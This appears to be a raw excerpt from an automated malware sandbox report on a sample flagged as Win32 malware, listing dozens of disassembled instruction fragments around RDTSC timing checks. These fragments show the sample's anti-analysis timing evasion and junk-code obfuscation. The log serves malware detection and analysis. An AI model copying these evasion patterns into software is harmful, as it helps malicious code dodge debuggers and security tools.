Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A40F6 second address: 8A4112 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC6125CCB8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A4112 second address: 8A4139 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp+04h], eax 0x0000000c pushad 0x0000000d jmp 00007FAC60C4BF36h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A4139 second address: 8A413D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A413D second address: 8A4141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A702A second address: 8A7030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A7030 second address: 8A7034 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A7034 second address: 8A704E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A704E second address: 8A7053 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A6BCE second address: 8A6C30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FAC6125CCADh 0x0000000b jmp 00007FAC6125CCB9h 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 jmp 00007FAC6125CCB6h 0x00000018 pushad 0x00000019 popad 0x0000001a popad 0x0000001b pushad 0x0000001c jmp 00007FAC6125CCACh 0x00000021 jmp 00007FAC6125CCABh 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A6C30 second address: 8A6C36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A6C36 second address: 8A6C3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A8A76 second address: 8A8A84 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A8A84 second address: 8A8A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A8A88 second address: 8A8A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 8A8A8C second address: 8A8A92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BDA3B second address: 7BDA41 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BDA41 second address: 7BDA47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 7BDA47 second address: 7BDA4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00874 second address: 4A008A2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007FAC6125CCB0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A008A2 second address: 4A008A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A008A6 second address: 4A008C2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A008C2 second address: 4A008D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF2Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A008D4 second address: 4A008E4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 pushad 0x0000000a mov dl, 8Bh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A008E4 second address: 4A00938 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edi 0x0000000c pop esi 0x0000000d pop edi 0x0000000e mov ch, A3h 0x00000010 popad 0x00000011 push ebp 0x00000012 jmp 00007FAC60C4BF2Ah 0x00000017 mov dword ptr [esp], ecx 0x0000001a pushad 0x0000001b mov al, 07h 0x0000001d pushad 0x0000001e pushfd 0x0000001f jmp 00007FAC60C4BF34h 0x00000024 or ax, 3ED8h 0x00000029 jmp 00007FAC60C4BF2Bh 0x0000002e popfd 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, esi 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push edx 0x00000036 pop eax 0x00000037 mov esi, edx 0x00000039 popad 0x0000003a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00938 second address: 4A00969 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ecx, 110C5C95h 0x00000008 jmp 00007FAC6125CCB2h 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 pushad 0x00000012 mov si, di 0x00000015 pushad 0x00000016 movsx ebx, cx 0x00000019 mov cl, 19h 0x0000001b popad 0x0000001c popad 0x0000001d xchg eax, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00969 second address: 4A0096D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A0096D second address: 4A00973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00973 second address: 4A009AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea eax, dword ptr [ebp-04h] 0x0000000c jmp 00007FAC60C4BF36h 0x00000011 nop 0x00000012 pushad 0x00000013 call 00007FAC60C4BF2Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A009AD second address: 4A009E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 movsx edx, cx 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FAC6125CCB4h 0x00000013 add ecx, 600E12B8h 0x00000019 jmp 00007FAC6125CCABh 0x0000001e popfd 0x0000001f mov bx, si 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A009E5 second address: 4A00A2D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC60C4BF2Bh 0x00000009 sub ah, 0000007Eh 0x0000000c jmp 00007FAC60C4BF39h 0x00000011 popfd 0x00000012 jmp 00007FAC60C4BF30h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a nop 0x0000001b pushad 0x0000001c mov edi, esi 0x0000001e push eax 0x0000001f push edx 0x00000020 mov dx, si 0x00000023 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00A2D second address: 4A00A46 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push dword ptr [ebp+08h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAC6125CCADh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00A46 second address: 4A00A4C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00A9C second address: 4A00AC1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCB7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-04h], 00000000h 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00AC1 second address: 4A00ADC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF37h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00ADC second address: 4A00B70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edi, 2FD9FECAh 0x00000008 pushfd 0x00000009 jmp 00007FAC6125CCABh 0x0000000e or si, 696Eh 0x00000013 jmp 00007FAC6125CCB9h 0x00000018 popfd 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c mov esi, eax 0x0000001e pushad 0x0000001f call 00007FAC6125CCACh 0x00000024 pushfd 0x00000025 jmp 00007FAC6125CCB2h 0x0000002a add si, E018h 0x0000002f jmp 00007FAC6125CCABh 0x00000034 popfd 0x00000035 pop eax 0x00000036 mov edx, 217F295Ch 0x0000003b popad 0x0000003c je 00007FAC6125CCDBh 0x00000042 pushad 0x00000043 call 00007FAC6125CCB1h 0x00000048 mov si, EEB7h 0x0000004c pop eax 0x0000004d push eax 0x0000004e push edx 0x0000004f mov ebx, 007B618Eh 0x00000054 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00B8F second address: 4A00B93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00B93 second address: 4A00B97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00B97 second address: 4A00B9D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 4A00B9D second address: 49F000A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a jmp 00007FAC6125CCB0h 0x0000000f leave 0x00000010 pushad 0x00000011 push esi 0x00000012 pushfd 0x00000013 jmp 00007FAC6125CCADh 0x00000018 or ecx, 0C299726h 0x0000001e jmp 00007FAC6125CCB1h 0x00000023 popfd 0x00000024 pop eax 0x00000025 mov bh, C7h 0x00000027 popad 0x00000028 retn 0004h 0x0000002b nop 0x0000002c sub esp, 04h 0x0000002f xor ebx, ebx 0x00000031 cmp eax, 00000000h 0x00000034 je 00007FAC6125CDF2h 0x0000003a mov dword ptr [esp], 0000000Dh 0x00000041 call 00007FAC65660B11h 0x00000046 mov edi, edi 0x00000048 pushad 0x00000049 mov bx, ax 0x0000004c push eax 0x0000004d push edx 0x0000004e pushad 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F000A second address: 49F0086 instructions: 0x00000000 rdtsc 0x00000002 mov si, D0F5h 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push ecx 0x0000000c pushfd 0x0000000d jmp 00007FAC60C4BF2Dh 0x00000012 or ah, 00000006h 0x00000015 jmp 00007FAC60C4BF31h 0x0000001a popfd 0x0000001b pop eax 0x0000001c pushfd 0x0000001d jmp 00007FAC60C4BF31h 0x00000022 adc si, AD66h 0x00000027 jmp 00007FAC60C4BF31h 0x0000002c popfd 0x0000002d popad 0x0000002e push eax 0x0000002f jmp 00007FAC60C4BF31h 0x00000034 xchg eax, ebp 0x00000035 pushad 0x00000036 mov cl, 74h 0x00000038 mov ax, dx 0x0000003b popad 0x0000003c mov ebp, esp 0x0000003e push eax 0x0000003f push edx 0x00000040 pushad 0x00000041 mov cl, ACh 0x00000043 popad 0x00000044 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0086 second address: 49F00DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 3026h 0x00000007 pushad 0x00000008 popad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c sub esp, 2Ch 0x0000000f jmp 00007FAC6125CCB3h 0x00000014 xchg eax, ebx 0x00000015 pushad 0x00000016 pushfd 0x00000017 jmp 00007FAC6125CCB4h 0x0000001c sbb cx, 44F8h 0x00000021 jmp 00007FAC6125CCABh 0x00000026 popfd 0x00000027 mov di, cx 0x0000002a popad 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f mov ebx, esi 0x00000031 push eax 0x00000032 push edx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F00DC second address: 49F00E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F00E1 second address: 49F00FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movzx esi, bx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a jmp 00007FAC6125CCADh 0x0000000f xchg eax, edi 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F00FF second address: 49F0112 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF2Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0191 second address: 49F0240 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC6125CCB8h 0x00000009 jmp 00007FAC6125CCB5h 0x0000000e popfd 0x0000000f pushfd 0x00000010 jmp 00007FAC6125CCB0h 0x00000015 sbb ax, 2CC8h 0x0000001a jmp 00007FAC6125CCABh 0x0000001f popfd 0x00000020 popad 0x00000021 pop edx 0x00000022 pop eax 0x00000023 sub ebx, ebx 0x00000025 pushad 0x00000026 mov eax, edi 0x00000028 call 00007FAC6125CCB1h 0x0000002d pushfd 0x0000002e jmp 00007FAC6125CCB0h 0x00000033 add cl, 00000058h 0x00000036 jmp 00007FAC6125CCABh 0x0000003b popfd 0x0000003c pop eax 0x0000003d popad 0x0000003e mov edi, 00000000h 0x00000043 jmp 00007FAC6125CCB4h 0x00000048 inc ebx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0240 second address: 49F0244 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0244 second address: 49F024A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F024A second address: 49F0250 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0250 second address: 49F0282 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCAEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test al, al 0x0000000d jmp 00007FAC6125CCB0h 0x00000012 je 00007FAC6125CE8Bh 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0282 second address: 49F0286 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0286 second address: 49F028C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F028C second address: 49F02AA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC60C4BF34h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0313 second address: 49F034F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCABh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a jmp 00007FAC6125CCB6h 0x0000000f push eax 0x00000010 jmp 00007FAC6125CCABh 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 mov esi, ebx 0x0000001b movsx edi, ax 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F034F second address: 49F0367 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAC60C4BF34h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F039C second address: 49F0421 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAC6125CCABh 0x00000009 adc eax, 10147EDEh 0x0000000f jmp 00007FAC6125CCB9h 0x00000014 popfd 0x00000015 mov ax, A5A7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c jg 00007FACD22CAD60h 0x00000022 jmp 00007FAC6125CCAAh 0x00000027 js 00007FAC6125CD1Fh 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 mov ax, bx 0x00000033 pushfd 0x00000034 jmp 00007FAC6125CCB9h 0x00000039 sbb esi, 5B6EDE76h 0x0000003f jmp 00007FAC6125CCB1h 0x00000044 popfd 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0421 second address: 49F0427 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0427 second address: 49F042B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F042B second address: 49F04C7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b jmp 00007FAC60C4BF2Fh 0x00000010 jne 00007FACD1CB9F7Ch 0x00000016 jmp 00007FAC60C4BF36h 0x0000001b mov ebx, dword ptr [ebp+08h] 0x0000001e jmp 00007FAC60C4BF30h 0x00000023 lea eax, dword ptr [ebp-2Ch] 0x00000026 pushad 0x00000027 pushfd 0x00000028 jmp 00007FAC60C4BF2Eh 0x0000002d jmp 00007FAC60C4BF35h 0x00000032 popfd 0x00000033 pushfd 0x00000034 jmp 00007FAC60C4BF30h 0x00000039 and si, E2B8h 0x0000003e jmp 00007FAC60C4BF2Bh 0x00000043 popfd 0x00000044 popad 0x00000045 xchg eax, esi 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04C7 second address: 49F04CB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04CB second address: 49F04D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04D1 second address: 49F04F1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAC6125CCAAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAC6125CCADh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04F1 second address: 49F04F7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04F7 second address: 49F04FD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F04FD second address: 49F0501 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\SecuriteInfo.com.Win32.MalwareX-gen.16584.17867.exe	RDTSC instruction interceptor: First address: 49F0501 second address: 49F0505 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
